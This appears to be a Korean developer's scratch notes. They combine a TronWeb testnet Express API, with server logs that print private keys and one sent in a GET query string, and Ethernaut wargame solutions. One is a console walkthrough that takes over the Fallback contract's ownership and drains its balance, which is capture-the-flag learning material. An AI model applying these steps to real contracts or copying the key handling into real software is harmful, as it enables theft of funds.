var express = require('express');
var router = express.Router();
const TronWeb = require('tronweb');
const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io/';
var privateKey = '123';
const tronWeb = new TronWeb(
fullNode,
solidityNode,
eventServer,
privateKey
  );
tronWeb.setDefaultBlock('latest');
const nodes = tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([ name, connected]) => {
 if (!connected)
           console.error(`Error: $ {name}is not connected`);
 return connected;
}).includes(false);
if (!connected)
      res.json( {'result':'connect fail'})
router.get('/createAccount/',function(req,res,next) {
 const account = tronWeb.createAccount();
 account.then(function (account) { const isValid = tronWeb.isAddress(account.address['hex']);
  console.log('- Private Key:', account.privateKey);
  console.log('- Base58:', account.address.base58);
  console.log('- Valid: ', isValid, '\n');
  account.isValid = isValid;
  res.json( {'result':account.privateKey, '- Base58': account.address.base58});
 });
});
router.get('/getBalance/:Address',function(req,res,next) {
 const app = async () => {
  try {
   const Add = req.params.Address;
   const gBalance = await tronWeb.trx.getBalance(Add);
   const gBandwidth = await tronWeb.trx.getBandwidth(Add);
   console.log("getBalance : ", gBalance);
   console.log("getBandwidth : ", gBandwidth);
   console.log("   ", Add);
   res.json( { "getBalance  ": gBalance, "getBandwidth": gBandwidth, "123": Add})
  }catch (error) { console.log('Task Failure',error);
  }
 };
 app();
});

router.get('/sendToken',function(req,res,next) {
        const app = async () => {
                try {
                        const gPK = req.query.PK;
                        privateKey = gPK;
                        const gvalue = req.query.value;
                        const gtoAddress = req.query.toAddress;

                        console.log("gPK : ", gPK);
                        console.log("gvalue : ", gvalue);
                        console.log("gtoAddress : ", gtoAddress);
                       sendTransaction = await tronWeb.transactionBuilder.sendToken(gtoAddress, gvalue, "1002003", gsendAddress);

                        const signedTransaction = await tronWeb.trx.sign(sendTransaction);
                        const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction);
                        console.log('- Transaction:\n' + JSON.stringify(sendRaw, null, 2), '\n');

                        res.json( { "gPK  ": gPK, "gvalue  ": gvalue, "gtoAddress": gtoAddress, "Transaction\n": JSON.stringify(sendRaw, null, 2)});

                }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});

module.exports = router;

 

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 610.476 ms - -
- Private Key: AE3F46DE20C1EAF287DDA3CDE20A653031C67517FA87AA4641B271D314821F68
- Base58: TSqkCrLPJVxyuapdY5tjptBKFdR1bVEr5x
- Valid:  true

GET /createAccount/ 200 57.919 ms - 125
- Private Key: F64E51F20F91C6407B9B67A7D98BEA5D81F5F995D652E0AF2C663C4F76ED52B0
- Base58: THYQkYZ7nxWZ9YvMuaSDBYGKcXweTErbMb
- Valid:  true

GET /createAccount/ 200 41.523 ms - 125
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 560.224 ms - -
getBalance :  2000000
getBandwidth :  5000
    TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
GET /getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 304 604.726 ms - -

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
gPK :  @@@@@@@
gvalue :  1000000
gtoAddress :  TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
- Transaction:
{
  "result": true,
  "transaction": {
    "txID": "651d95843f1a4e62c669550425a1844d800f7670b2071e7

2d10418ec724c4cad",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1000000,
              "owner_address": "4179196b90d1e952c5a43d4847caa

08d50b967c34a",
              "to_address": "41b0720a94d13ef83434e1385b543c9

291c79a6d14"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "49c0",
      "ref_block_hash": "5fff2fda293153a4",
      "expiration": 1547082969000,
      "timestamp": 1547082910093
    },
    "signature": [
      "1af3e48aa97d19a9465e2d56ac3b4541dd33abcbaea0c3dadab3a760c6b

2672c033692fe4454b6f2201d2d8bc4d39c806d84a5a4bfafa95a2e4

075a0aba376b700"
    ]
  }
}

GET /sendToken?PK=03f567e0189e1341a5c8d32817acf7dafcfbb3e2860599d2d4f322ff7b3

247ed&value=1000000&toAddress=TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 200 742.649 ms - 1118
GET /favicon.ico 404 366.336 ms - 1012

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
} 

pragma solidity ^0.4.18;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f" 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

계좌가 0원된거 확인

await getBalance(instance)
"0"

1. Set up MetaMask
2. Open the browser's console
3. Use the console helpers
4. The ethernaut contract
5. Interact with the ABI
6. Get test ether
7. Getting a level instance
8. Inspecting the contract
9. Interact with the contract to complete the level 

await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
t {s: 1, e: 1, c: Array(1)}c: [42]e: 1s: 1__proto__: Object

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()

ethernaut0

await contract.authenticate('ethernaut0')
{tx: "0x9f6c29c29b5397f6df441d4eddb6ae82b89818e57f40635f37eec6ac9153205d", receipt: {…}, logs: Array(0)}